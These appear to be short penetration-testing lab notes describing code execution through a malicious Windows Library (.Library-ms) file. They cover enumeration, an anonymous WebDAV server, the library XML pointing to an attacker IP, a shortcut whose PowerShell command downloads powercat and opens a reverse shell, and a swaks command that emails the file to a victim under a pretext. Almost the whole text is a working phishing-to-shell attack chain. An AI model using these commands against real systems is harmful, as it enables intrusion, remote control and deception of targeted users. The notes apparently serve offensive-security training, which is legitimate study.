Code execution via Windows Library

gobuster dir -w ~/opt/wordlists/directories1.txt -u http://192.168.160.199  -x pdf,txt -t 100

Start up WebDav share

wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root /home/adot8/webdav/

Create a config.Library-ms file

<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<name>@windows.storage.dll,-34582</name>
<version>6</version>
<isLibraryPinned>true</isLibraryPinned>
<iconReference>imageres.dll,-1003</iconReference>
<templateInfo>
<folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
</templateInfo>
<searchConnectorDescriptionList>
<searchConnectorDescription>
<isDefaultSaveLocation>true</isDefaultSaveLocation>
<isSupported>false</isSupported>
<simpleLocation>
<url>http://192.168.45.173 </url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>

Create a new shortcut and name as automatic_configuration

powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.45.173:8080/powercat.ps1');powercat -c 192.168.45.173 -p 1337 -e powershell"

Move the shortcut into the webdav root folder and get pretext to get the user to open it

Send email

swaks --to [e-mail] --from [e-mail] --header 'Subject: Bad email!' --body "I've attached the problematic mail." --server 192.168.166.189 --attach @config.Library-ms --auth-user '[e-mail]' --auth-password 'abc123'